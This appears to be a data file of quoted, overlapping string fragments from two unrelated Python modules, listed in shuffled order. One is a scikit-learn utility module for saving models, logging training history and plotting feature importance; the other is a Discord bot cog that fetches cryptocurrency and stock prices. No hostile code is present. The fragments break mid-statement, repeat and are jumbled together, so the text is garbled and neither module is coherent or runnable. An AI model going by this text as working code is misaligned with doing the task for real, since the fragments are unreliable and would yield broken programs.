"sns.boxplot(x=\"variable\", y=\"value\", ax=ax, data=pd.melt(importances)) figure = ax.get_figure() figure.savefig( \"models/models-training/run_\" +",
"model_name=None, metrics=None ): \"\"\"ADD EVALUATION METRICS THE HISTORY FILE FOR",
"tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn, filled=True, ax=axes[index], ) axes[index].set_title(\"Estimator: \" +",
"sns from sklearn import tree def id_generator(size=6, chars=string.ascii_lowercase + string.digits):",
"to the history file model_id (str, optional): the id of",
"...) features (pandas dataframe): a table of the features on",
"where to save the model model (binary): the model to",
"\"\"\" This module offers util functions to be called and",
"of the model model_name (str): model name = \"model_\"+model_id+\".pkl\" model",
"fit the model \"\"\" model_metadata = dict() model_metadata[\"trained\"] = str(datetime.now())",
"name = \"model_\"+model_id+\".pkl\" model (binary): binary file of the model",
"saved \"\"\" with open(path, \"wb\") as file: pickle.dump(model, file) def",
"tree, random forest ...) features (pandas dataframe): a table of",
"params print(model_metadata) with open(models_hist_path, \"r+\") as outfile: try: hist =",
"to None. metrics (dict, optional): a dictionnary containing metadata related",
"model_id + \"/features_importance.png\" ) def plot_trees(rf, feature_names, target_names, model_id): \"\"\"GENERATES",
"models_hist_path (str): path to the history file model_id (str): unique",
"must specify the path to the history file\" if not",
"-*- coding: utf-8 -*- \"\"\" This module offers util functions",
"for tree in model.estimators_], columns=features.columns, ) importances = importances[ordered_columns] _,",
"HISTORY FILE Args: models_hist_path (str): path to the history file",
"in range(0, 5): tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn, filled=True, ax=axes[index], )",
"trained the model model_id (str): the unique id of the",
"(dict, optional): a dictionnary containing metadata related to the model",
"path to the history file model_id (str): unique id of",
"model_id, model_name, model, params): \"\"\"SAVE METADATA RELATED TO THE TRAINED",
"ax=axes[index], ) axes[index].set_title(\"Estimator: \" + str(index), fontsize=11) fig.savefig(\"models/models-training/run_\" + model_id",
"Args: size (int, optional): size of the string. Defaults to",
"history file\" if not model_name: model_name = \"model_\" + model_id",
"= importances[ordered_columns] _, ax = plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\", y=\"value\", ax=ax,",
"\"\"\"GENERATES A PLOT THAT SHOWS THE DECISION MAKING OF THE",
"based model (decision tree, random forest ...) features (pandas dataframe):",
"BE USED AS AN ID Args: size (int, optional): size",
"hist[model_name] = model_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: json.dump({model_name:",
"of the model params (dict): dictionnary containing the hyper-parameters used",
") importances = importances[ordered_columns] _, ax = plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\",",
"os import json import pickle import string import random import",
"y=\"value\", ax=ax, data=pd.melt(importances)) figure = ax.get_figure() figure.savefig( \"models/models-training/run_\" + model_id",
"(str): name of the target columns model_id (str): unique id",
"the unique id of the model \"\"\" mean_importances = model.feature_importances_",
"a dictionnary containing metadata related to the model evaluation. Defaults",
"assert ( model_id is not None or model_name is not",
"the features on which we trained the model model_id (str):",
"8)) sns.boxplot(x=\"variable\", y=\"value\", ax=ax, data=pd.melt(importances)) figure = ax.get_figure() figure.savefig( \"models/models-training/run_\"",
"importances = importances[ordered_columns] _, ax = plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\", y=\"value\",",
"as pd from matplotlib import pyplot as plt import seaborn",
"MODEL INTO PICKLE FILE Args: path (str): path where to",
"ncols=5, figsize=(10, 2), dpi=900) for index in range(0, 5): tree.plot_tree(",
"optional): a dictionnary containing metadata related to the model evaluation.",
"for _ in range(size)) def save_model(path, model): \"\"\"SAVE MODEL INTO",
"range(0, 5): tree.plot_tree( rf.estimators_[index], feature_names=fn, class_names=cn, filled=True, ax=axes[index], ) axes[index].set_title(\"Estimator:",
"model (tree-based model): a tree based model (decision tree, random",
"model. Defaults to None. model_name (str, optional): the name of",
"module offers util functions to be called and used in",
"called and used in other modules \"\"\" from datetime import",
"\"\"\"GENERATES A PLOT DESCRIBING FEATURES IMPORTANCE FOR THE MODEL TO",
"def update_history(models_hist_path, model_id, model_name, model, params): \"\"\"SAVE METADATA RELATED TO",
"import pyplot as plt import seaborn as sns from sklearn",
"ordered_columns = [features.columns[i] for i in importances_indices] importances = pd.DataFrame(",
"A PLOT DESCRIBING FEATURES IMPORTANCE FOR THE MODEL TO MAKE",
"MAKE THE PREDICTION. Args: model (tree-based model): a tree based",
"to generate the string. Defaults to string.ascii_lowercase+string.digits. Returns: [str]: a",
"a random chain of charachters \"\"\" return \"\".join(random.choice(chars) for _",
"THE SPECIFIED MODEL Args: models_hist_path (str): path to the history",
"model params (dict): dictionnary containing the hyper-parameters used to fit",
"+ model_id + \"/features_importance.png\" ) def plot_trees(rf, feature_names, target_names, model_id):",
"related to the model evaluation. Defaults to None. \"\"\" assert",
"TREES Args: rf (model): a tree based model (random forest",
"the id of the model. Defaults to None. model_name (str,",
"import os import json import pickle import string import random",
"of the target columns model_id (str): unique id of the",
"json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: print(\"cannot save evaluation metadata\") def",
"the model evaluation. Defaults to None. \"\"\" assert ( model_id",
"datetime import os import json import pickle import string import",
"import datetime import os import json import pickle import string",
"path to the history file\" if not model_name: model_name =",
"sklearn import tree def id_generator(size=6, chars=string.ascii_lowercase + string.digits): \"\"\"GENERATE A",
"containing metadata related to the model evaluation. Defaults to None.",
"outfile: try: hist = json.load(outfile) hist[model_name][\"evaluation\"] = eval_metadata outfile.seek(0) json.dump(hist,",
"path (str): path where to save the model model (binary):",
"features (pandas dataframe): a table of the features on which",
"given\" assert models_hist_path is not None, \"You must specify the",
"ax = plt.subplots(figsize=(12, 8)) sns.boxplot(x=\"variable\", y=\"value\", ax=ax, data=pd.melt(importances)) figure =",
"hyper-parameters used to fit the model \"\"\" model_metadata = dict()",
"indent=4) except json.decoder.JSONDecodeError: json.dump({model_name: model_metadata}, outfile, indent=4) def update_history_add_eval( models_hist_path,",
"utf-8 -*- \"\"\" This module offers util functions to be",
"= model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1] ordered_columns = [features.columns[i] for i",
"id of the model model_name (str): model name = \"model_\"+model_id+\".pkl\"",
"json.load(outfile) hist[model_name][\"evaluation\"] = eval_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError:",
"(str): path where to save the model model (binary): the",
"def update_history_add_eval( models_hist_path, model_id=None, model_name=None, metrics=None ): \"\"\"ADD EVALUATION METRICS",
"\"You must specify the path to the history file\" if",
"of the model \"\"\" fn = feature_names cn = target_names",
"of charachters \"\"\" return \"\".join(random.choice(chars) for _ in range(size)) def",
"(decision tree, random forest ...) features (pandas dataframe): a table",
"(int, optional): size of the string. Defaults to 6. chars",
"DESCRIBING FEATURES IMPORTANCE FOR THE MODEL TO MAKE THE PREDICTION.",
"seaborn as sns from sklearn import tree def id_generator(size=6, chars=string.ascii_lowercase",
"matplotlib import pyplot as plt import seaborn as sns from",
"json.load(outfile) hist[model_name] = model_metadata outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError:",
"import string import random import numpy as np import pandas",
"pandas as pd from matplotlib import pyplot as plt import",
"model (binary): the model to be saved \"\"\" with open(path,",
"\"\"\"GENERATE A RANDOM STRING TO BE USED AS AN ID"
] |
[
"${} | 1-hour change: {}% | 24-hour change: {}%\".format(cid, name,",
"resp: data = await resp.json() data = data[0] cid =",
"| 24-hour change: {}%\".format(cid, name, cvtval, coin['cvtto'].upper(), pUSD, pC1, pC24)",
"\" in line: if \" in \" in line: coin,",
"into coins values (?, ?, ?)\", (sym,cid,name)) conn.commit() conn.close() @commands.command(aliases=['stonks',",
"= data['price_usd'] pC24 = data['percent_change_24h'] pC1 = data['percent_change_1h'] output =",
"in line: if \" in \" in line: coin, cvtto",
"{} : {} {} (${:.2f} USD)\".format(coin['qty'], cid, cvtval, coin['cvtto'].upper(), usdfinal)",
"data['price_usd'] url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with self.bot.session.get(url) as resp: tojson",
"1-hour change: {}% | 24-hour change: {}%\".format(cid, name, pUSD, pC1,",
"as `0.6 ETH` Optionally specify a conversion value such as",
"= \"\" cvtto = \"\" if \" in \" in",
"price, change, etc\"\"\" symbol = \"\" url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async",
"outstr = outstr.format(data['symbol'], longn, data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup) if",
"\"CAD\", \"CHF\", \"CLP\", \"CNY\", \"CZK\", \"DKK\", \"EUR\", \"GBP\", \"HKD\", \"HUF\",",
"ctx): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT",
"to find a stonk named `{name}`\") return url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\"",
"coin['id'].lower() name = coin['name'].lower() cursor.execute(\"insert into coins values (?, ?,",
"re import sqlite3 from urllib.parse import quote as uriquote import",
"data = await resp.json() for coin in data: sym =",
"number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def parse_coinline(self, line): coinqty = 1",
"symbol = (?)\", (coin, coin)).fetchone() if not result: like =",
"in line: coin, cvtto = line.split(\" in \") elif \"",
"await resp.json() for coin in data: sym = coin['symbol'].lower() cid",
"str): \"\"\"Look up a stock and show its current price,",
"cvtval: await ctx.send(f\"Failed to look up {coin['cvtto']}\") return if coin['qty']",
"'postMarketPrice' in data and (data['marketState'] == \"CLOSED\" or \"POST\" in",
"resp.json() data = data[0] cid = data['symbol'].upper() name = data['name']",
"pC1, pC24) else: usdfinal = float(pUSD) * coin['qty'] output =",
"[like]).fetchone() if result: return result[0] @commands.command(hidden=True) @commands.is_owner() async def newcoins(self,",
"= \"\" url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with self.bot.session.get(url) as resp:",
"{coin['cvtto']}\") return if coin['qty'] == 1: output = \"{} {}",
"cvtval = self.ffstr(float(data['price_btc']) * coin['qty']) coin['cvtto'] = \"BTC\" else: pUSD",
"in CURR: curr = \"?convert={}\".format(cvtto) else: cvtto = await self.findcoin(cvtto)",
"coin)).fetchone() if not result: like = \"%{}%\".format(coin) result = cursor.execute(\"SELECT",
"'name' TEXT);\") conn.commit() url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with self.bot.session.get(url) as",
"async def convert_coin(self, coin, data): if coin['currency']: cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())])",
"conn.cursor() result = cursor.execute(\"SELECT coinid FROM coins WHERE coinid =",
"| 1-hour change: {}% | 24-hour change: {}%\".format(cid, name, pUSD,",
"if coin.get('cvtto', ''): cvtval = await self.convert_coin(coin, data) if not",
"name, cvtval, coin['cvtto'].upper(), pUSD, pC1, pC24) else: usdfinal = float(pUSD)",
"commands import re import sqlite3 from urllib.parse import quote as",
"as uriquote import html CURR = [\"AUD\", \"BRL\", \"CAD\", \"CHF\",",
"return url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with self.bot.session.get(url) as resp: data",
"coin['qty'] output = \"{} {} : {} {} (${:.2f} USD)\".format(coin['qty'],",
"coin['cvtto'].upper(), pUSD, pC1, pC24) else: usdfinal = float(pUSD) * coin['qty']",
"= 1 qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if qtycheck: coinqty =",
"coin in data: sym = coin['symbol'].lower() cid = coin['id'].lower() name",
"\"\\N{CHART WITH UPWARDS TREND}\" if data['regularMarketChange'] > 0 else \"\\N{CHART",
"await self.findcoin(cvtto) else: coin = line coinid = await self.findcoin(coin)",
"resp.json() symbol = data['ResultSet']['Result'][0]['symbol'] if not symbol: await ctx.send(f\"Unable to",
"as resp: data = await resp.json() data = data[\"quoteResponse\"][\"result\"][0] downup",
"== 1: output = \"{} {} | Value: ${} |",
"FROM coins WHERE coinid = (?) OR symbol = (?)\",",
"= (?)\", (coin, coin)).fetchone() if not result: like = \"%{}%\".format(coin)",
"= coin['name'].lower() cursor.execute(\"insert into coins values (?, ?, ?)\", (sym,cid,name))",
"if not result: cursor.execute(\"CREATE TABLE 'coins' ('symbol' TEXT, 'coinid' TEXT",
"USD)\".format(coin['qty'], cid, cvtval, coin['cvtto'].upper(), usdfinal) else: if coin['qty'] == 1:",
"cryptocurrency such as Bitcoin Optionally specify a quantity such as",
"coinid FROM coins WHERE name LIKE (?)\", [like]).fetchone() if result:",
"= re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if qtycheck: coinqty = float(qtycheck.group(1)) line =",
"None return {'coin': coinid, 'qty': coinqty, 'currency': curr, 'cvtto': cvtto}",
"qtycheck.group(3).strip() curr = \"\" cvtto = \"\" if \" in",
"TEXT, 'coinid' TEXT UNIQUE ON CONFLICT REPLACE, 'name' TEXT);\") conn.commit()",
"line.split(\" to \") coinid = await self.findcoin(coin) if cvtto.upper() in",
"not coinid: return None return {'coin': coinid, 'qty': coinqty, 'currency':",
"1: output = \"{} {} | Value: ${} | 1-hour",
"\"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def parse_coinline(self, line): coinqty = 1 qtycheck =",
"by default cvtval = self.ffstr(float(data['price_btc']) * coin['qty']) coin['cvtto'] = \"BTC\"",
"async def findcoin(self, coin): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor()",
"\"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto']) async with self.bot.session.get(url) as resp: tojson = await resp.json()",
"coin = line coinid = await self.findcoin(coin) if not coinid:",
"self.findcoin(coin) if not coinid: return None return {'coin': coinid, 'qty':",
"self.parse_coinline(line) if not coin: await ctx.send(f\"Unable to find coin {line}\")",
"output = \"{} {} : ${:.2f}\".format(coin['qty'], cid, finalprice) if output:",
"/ toval) return cvtval def ffstr(self, number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async",
"coin['cvtto'] = \"BTC\" else: pUSD = data['price_usd'] url = \"https://api.coinmarketcap.com/v1/ticker/{}\".format(coin['cvtto'])",
"to find coin {line}\") return url = f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with",
"discord.ext import commands import re import sqlite3 from urllib.parse import",
"+= \" :: After Hours: {:.2f} - Change: {:.2f} {}\".format(data['postMarketPrice'],",
"line: coin, cvtto = line.split(\" in \") elif \" to",
"await self.findcoin(coin) if not coinid: return None return {'coin': coinid,",
"symbol: await ctx.send(f\"Unable to find a stonk named `{name}`\") return",
"sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT name FROM sqlite_master",
"cursor.execute(\"SELECT coinid FROM coins WHERE coinid = (?) OR symbol",
"\"{} {} | Value: ${} | 1-hour change: {}% |",
"= await self.convert_coin(coin, data) if not cvtval: await ctx.send(f\"Failed to",
"def findcoin(self, coin): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result",
"'currency': curr, 'cvtto': cvtto} async def findcoin(self, coin): conn =",
"(sym,cid,name)) conn.commit() conn.close() @commands.command(aliases=['stonks', 'stocks']) async def stock (self, ctx,",
"(${} USD) | 1-hour change: {}% | 24-hour change: {}%\".format(cid,",
"conn.close() @commands.command(aliases=['stonks', 'stocks']) async def stock (self, ctx, name: str):",
"({:.2f}%) {}\" longn = ' ({})'.format(data['shortName']) if 'shortName' in data",
"in line: coin, cvtto = line.split(\" to \") coinid =",
"async def parse_coinline(self, line): coinqty = 1 qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\",",
"UPWARDS TREND}\" if data['postMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS",
"'' outstr = outstr.format(data['symbol'], longn, data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup)",
"curr, 'cvtto': cvtto} async def findcoin(self, coin): conn = sqlite3.connect(\"coins.sqlite3\")",
"data): if coin['currency']: cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty']) else: if",
"from discord.ext import commands import re import sqlite3 from urllib.parse",
"\"{} {} | Value: {} {} (${} USD) | 1-hour",
"\"\" if \" in \" in line or \" to",
"data['name'] pUSD = data['price_usd'] pC24 = data['percent_change_24h'] pC1 = data['percent_change_1h']",
"line coinid = await self.findcoin(coin) if not coinid: return None",
"as `2 BTC in ETH` or `ETH in CAD`\"\"\" coin",
"\"\" if coin.get('cvtto', ''): cvtval = await self.convert_coin(coin, data) if",
"= sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT name FROM",
"html CURR = [\"AUD\", \"BRL\", \"CAD\", \"CHF\", \"CLP\", \"CNY\", \"CZK\",",
"\"CNY\", \"CZK\", \"DKK\", \"EUR\", \"GBP\", \"HKD\", \"HUF\", \"IDR\", \"ILS\", \"INR\",",
"elif \" to \" in line: coin, cvtto = line.split(\"",
"= f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with self.bot.session.get(url) as resp: data = await",
"sym = coin['symbol'].lower() cid = coin['id'].lower() name = coin['name'].lower() cursor.execute(\"insert",
"{} (${} USD) | 1-hour change: {}% | 24-hour change:",
"\"PKR\", \"PLN\", \"RUB\", \"SEK\", \"SGD\", \"THB\", \"TRY\", \"TWD\", \"ZAR\"] class",
"\"CZK\", \"DKK\", \"EUR\", \"GBP\", \"HKD\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"JPY\",",
"f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with self.bot.session.get(url) as resp: data = await resp.json()",
"\" in \" in line or \" to \" in",
"named `{name}`\") return url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with self.bot.session.get(url) as",
"ctx, *, line: str): \"\"\"Look up a cryptocurrency such as",
"convert_coin(self, coin, data): if coin['currency']: cvtval = \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty'])",
"= self.ffstr(float(data['price_btc']) * coin['qty']) coin['cvtto'] = \"BTC\" else: pUSD =",
"line): coinqty = 1 qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if qtycheck:",
"if not coinid: return None return {'coin': coinid, 'qty': coinqty,",
"curr = \"?convert={}\".format(cvtto) else: cvtto = await self.findcoin(cvtto) else: coin",
"if not coin['cvtto']: cvtval = '' if coin['cvtto'] == \"bitcoin\":",
"toval = float(tojson[0]['price_usd']) cvtval = self.ffstr((float(pUSD) * coin['qty']) / toval)",
"(?) OR symbol = (?)\", (coin, coin)).fetchone() if not result:",
"sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT coinid FROM coins",
"usdfinal = float(pUSD) * coin['qty'] output = \"{} {} :",
"findcoin(self, coin): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result =",
"self.bot.session.get(url) as resp: data = await resp.json() data = data[\"quoteResponse\"][\"result\"][0]",
"= f\"https://api.coinmarketcap.com/v1/ticker/{coin['coin']}{coin['currency']}\" async with self.bot.session.get(url) as resp: data = await",
"cvtto.upper() in CURR: curr = \"?convert={}\".format(cvtto) else: cvtto = await",
"cursor = conn.cursor() result = cursor.execute(\"SELECT coinid FROM coins WHERE",
"data = await resp.json() symbol = data['ResultSet']['Result'][0]['symbol'] if not symbol:",
"not cvtval: await ctx.send(f\"Failed to look up {coin['cvtto']}\") return if",
"REPLACE, 'name' TEXT);\") conn.commit() url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with self.bot.session.get(url)",
"await resp.json() coin['cvtto'] = tojson[0]['symbol'].upper() toval = float(tojson[0]['price_usd']) cvtval =",
"Value: ${} | 1-hour change: {}% | 24-hour change: {}%\".format(cid,",
"cid = coin['id'].lower() name = coin['name'].lower() cursor.execute(\"insert into coins values",
"up a cryptocurrency such as Bitcoin Optionally specify a quantity",
"return result[0] @commands.command(hidden=True) @commands.is_owner() async def newcoins(self, ctx): conn =",
"change: {}%\".format(cid, name, pUSD, pC1, pC24) else: finalprice = float(pUSD)",
"for coin in data: sym = coin['symbol'].lower() cid = coin['id'].lower()",
"specify a conversion value such as `2 BTC in ETH`",
"coin['symbol'].lower() cid = coin['id'].lower() name = coin['name'].lower() cursor.execute(\"insert into coins",
"in data else '' outstr = outstr.format(data['symbol'], longn, data['regularMarketPrice'], data['currency'],",
"\"CLP\", \"CNY\", \"CZK\", \"DKK\", \"EUR\", \"GBP\", \"HKD\", \"HUF\", \"IDR\", \"ILS\",",
"return cvtval def ffstr(self, number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def parse_coinline(self,",
"= \"\\N{CHART WITH UPWARDS TREND}\" if data['postMarketChange'] > 0 else",
"import sqlite3 from urllib.parse import quote as uriquote import html",
"\" in line or \" to \" in line: if",
"\" :: After Hours: {:.2f} - Change: {:.2f} {}\".format(data['postMarketPrice'], data['postMarketChange'],",
"current price, change, etc\"\"\" symbol = \"\" url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\"",
"cid = data['symbol'].upper() name = data['name'] pUSD = data['price_usd'] pC24",
"\" to \" in line: coin, cvtto = line.split(\" to",
"float(pUSD) * coin['qty'] output = \"{} {} : {} {}",
"= \"{:.2f}\".format(float(data['price_{}'.format(coin['cvtto'].lower())]) * coin['qty']) else: if not coin['cvtto']: cvtval =",
"cvtval, coin['cvtto'].upper(), usdfinal) else: if coin['qty'] == 1: output =",
"else: if coin['qty'] == 1: output = \"{} {} |",
"0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr = \"{}{}: {}",
"[\"AUD\", \"BRL\", \"CAD\", \"CHF\", \"CLP\", \"CNY\", \"CZK\", \"DKK\", \"EUR\", \"GBP\",",
"if qtycheck: coinqty = float(qtycheck.group(1)) line = qtycheck.group(3).strip() curr =",
"TREND}\" outstr = \"{}{}: {} {} :: Today's change: {:.2f}",
"self.bot.session.get(url) as resp: data = await resp.json() data = data[0]",
"= \"%{}%\".format(coin) result = cursor.execute(\"SELECT coinid FROM coins WHERE name",
"url = f\"http://query1.finance.yahoo.com/v7/finance/quote?symbols={symbol}\" async with self.bot.session.get(url) as resp: data =",
"cvtto} async def findcoin(self, coin): conn = sqlite3.connect(\"coins.sqlite3\") cursor =",
"\"TRY\", \"TWD\", \"ZAR\"] class Finance(commands.Cog): def __init__(self, bot): self.bot =",
"= float(tojson[0]['price_usd']) cvtval = self.ffstr((float(pUSD) * coin['qty']) / toval) return",
"pC24) else: usdfinal = float(pUSD) * coin['qty'] output = \"{}",
"re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line) if qtycheck: coinqty = float(qtycheck.group(1)) line = qtycheck.group(3).strip()",
"TREND}\" outstr += \" :: After Hours: {:.2f} - Change:",
"def ffstr(self, number): return \"{:.8f}\".format(float(number)).rstrip('0').rstrip('.') async def parse_coinline(self, line): coinqty",
"\"THB\", \"TRY\", \"TWD\", \"ZAR\"] class Finance(commands.Cog): def __init__(self, bot): self.bot",
"\"\"\"Look up a stock and show its current price, change,",
"\"?convert={}\".format(cvtto) else: cvtto = await self.findcoin(cvtto) else: coin = line",
"= data['ResultSet']['Result'][0]['symbol'] if not symbol: await ctx.send(f\"Unable to find a",
"up {coin['cvtto']}\") return if coin['qty'] == 1: output = \"{}",
"in \") elif \" to \" in line: coin, cvtto",
"or `ETH in CAD`\"\"\" coin = await self.parse_coinline(line) if not",
"pC1 = data['percent_change_1h'] output = \"\" if coin.get('cvtto', ''): cvtval",
"usdfinal) else: if coin['qty'] == 1: output = \"{} {}",
"a stock and show its current price, change, etc\"\"\" symbol",
"outstr += \" :: After Hours: {:.2f} - Change: {:.2f}",
"change: {}%\".format(cid, name, cvtval, coin['cvtto'].upper(), pUSD, pC1, pC24) else: usdfinal",
"conn.commit() conn.close() @commands.command(aliases=['stonks', 'stocks']) async def stock (self, ctx, name:",
"data: sym = coin['symbol'].lower() cid = coin['id'].lower() name = coin['name'].lower()",
"'shortName' in data else '' outstr = outstr.format(data['symbol'], longn, data['regularMarketPrice'],",
"result = cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='coins';\").fetchone()",
"discord from discord.ext import commands import re import sqlite3 from",
"\"RUB\", \"SEK\", \"SGD\", \"THB\", \"TRY\", \"TWD\", \"ZAR\"] class Finance(commands.Cog): def",
"outstr = \"{}{}: {} {} :: Today's change: {:.2f} ({:.2f}%)",
"Finance(commands.Cog): def __init__(self, bot): self.bot = bot @commands.command() async def",
"change: {}% | 24-hour change: {}%\".format(cid, name, pUSD, pC1, pC24)",
"coin['cvtto'] = tojson[0]['symbol'].upper() toval = float(tojson[0]['price_usd']) cvtval = self.ffstr((float(pUSD) *",
"url = f\"https://autoc.finance.yahoo.com/autoc?query={uriquote(name)}®ion=1&lang=en&guccounter=1\" async with self.bot.session.get(url) as resp: data =",
"as resp: tojson = await resp.json() coin['cvtto'] = tojson[0]['symbol'].upper() toval",
"{} (${:.2f} USD)\".format(coin['qty'], cid, cvtval, coin['cvtto'].upper(), usdfinal) else: if coin['qty']",
"in ETH` or `ETH in CAD`\"\"\" coin = await self.parse_coinline(line)",
"pC24) else: finalprice = float(pUSD) * coin['qty'] output = \"{}",
"UPWARDS TREND}\" if data['regularMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS",
"24-hour change: {}%\".format(cid, name, pUSD, pC1, pC24) else: finalprice =",
"if 'shortName' in data else '' outstr = outstr.format(data['symbol'], longn,",
"coin): conn = sqlite3.connect(\"coins.sqlite3\") cursor = conn.cursor() result = cursor.execute(\"SELECT",
"await ctx.send(f\"Unable to find a stonk named `{name}`\") return url",
"resp.json() for coin in data: sym = coin['symbol'].lower() cid =",
"\"{} {} : ${:.2f}\".format(coin['qty'], cid, finalprice) if output: await ctx.send(output)",
"asyncio import discord from discord.ext import commands import re import",
"{}% | 24-hour change: {}%\".format(cid, name, cvtval, coin['cvtto'].upper(), pUSD, pC1,",
"= \"\" if \" in \" in line or \"",
"coin['qty']) coin['cvtto'] = \"BTC\" else: pUSD = data['price_usd'] url =",
"''): cvtval = await self.convert_coin(coin, data) if not cvtval: await",
"if \" in \" in line: coin, cvtto = line.split(\"",
"not result: cursor.execute(\"CREATE TABLE 'coins' ('symbol' TEXT, 'coinid' TEXT UNIQUE",
"{} :: Today's change: {:.2f} ({:.2f}%) {}\" longn = '",
"= \"{} {} : {} {} (${:.2f} USD)\".format(coin['qty'], cid, cvtval,",
"\"INR\", \"JPY\", \"KRW\", \"MXN\", \"MYR\", \"NOK\", \"NZD\", \"PHP\", \"PKR\", \"PLN\",",
"(self, ctx, name: str): \"\"\"Look up a stock and show",
"' ({})'.format(data['shortName']) if 'shortName' in data else '' outstr =",
"\"BRL\", \"CAD\", \"CHF\", \"CLP\", \"CNY\", \"CZK\", \"DKK\", \"EUR\", \"GBP\", \"HKD\",",
"data['postMarketChange'] > 0 else \"\\N{CHART WITH DOWNWARDS TREND}\" outstr +=",
"def parse_coinline(self, line): coinqty = 1 qtycheck = re.search(r\"(^(\\d*\\.)?\\d+)\\s?(\\w.+)\", line)",
"*, line: str): \"\"\"Look up a cryptocurrency such as Bitcoin",
"data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup) if 'postMarketPrice' in data and (data['marketState']",
"outstr.format(data['symbol'], longn, data['regularMarketPrice'], data['currency'], float(data['regularMarketChange']), float(data['regularMarketChangePercent']), downup) if 'postMarketPrice' in",
"= \"?convert={}\".format(cvtto) else: cvtto = await self.findcoin(cvtto) else: coin =",
"== 1: output = \"{} {} | Value: {} {}",
"\" in \" in line: coin, cvtto = line.split(\" in",
"Today's change: {:.2f} ({:.2f}%) {}\" longn = ' ({})'.format(data['shortName']) if",
"await resp.json() data = data[0] cid = data['symbol'].upper() name =",
"WITH UPWARDS TREND}\" if data['postMarketChange'] > 0 else \"\\N{CHART WITH",
"coin['name'].lower() cursor.execute(\"insert into coins values (?, ?, ?)\", (sym,cid,name)) conn.commit()",
"line: if \" in \" in line: coin, cvtto =",
"Change: {:.2f} {}\".format(data['postMarketPrice'], data['postMarketChange'], pdu) await ctx.send(html.unescape(outstr)) def setup(bot): bot.add_cog(Finance(bot))",
"quote as uriquote import html CURR = [\"AUD\", \"BRL\", \"CAD\",",
"OR symbol = (?)\", (coin, coin)).fetchone() if not result: like",
"TABLE 'coins' ('symbol' TEXT, 'coinid' TEXT UNIQUE ON CONFLICT REPLACE,",
"its current price, change, etc\"\"\" symbol = \"\" url =",
"1: output = \"{} {} | Value: {} {} (${}",
"coins values (?, ?, ?)\", (sym,cid,name)) conn.commit() conn.close() @commands.command(aliases=['stonks', 'stocks'])",
"result = cursor.execute(\"SELECT coinid FROM coins WHERE name LIKE (?)\",",
"CONFLICT REPLACE, 'name' TEXT);\") conn.commit() url = \"https://api.coinmarketcap.com/v1/ticker/?limit=0\" async with",
"AND name='coins';\").fetchone() if not result: cursor.execute(\"CREATE TABLE 'coins' ('symbol' TEXT,",
"{}%\".format(cid, name, pUSD, pC1, pC24) else: finalprice = float(pUSD) *",
"| Value: ${} | 1-hour change: {}% | 24-hour change:",
"'stocks']) async def stock (self, ctx, name: str): \"\"\"Look up",
"longn = ' ({})'.format(data['shortName']) if 'shortName' in data else ''",
"to \") coinid = await self.findcoin(coin) if cvtto.upper() in CURR:",
"= cursor.execute(\"SELECT coinid FROM coins WHERE name LIKE (?)\", [like]).fetchone()",
"cvtto = await self.findcoin(cvtto) else: coin = line coinid =",
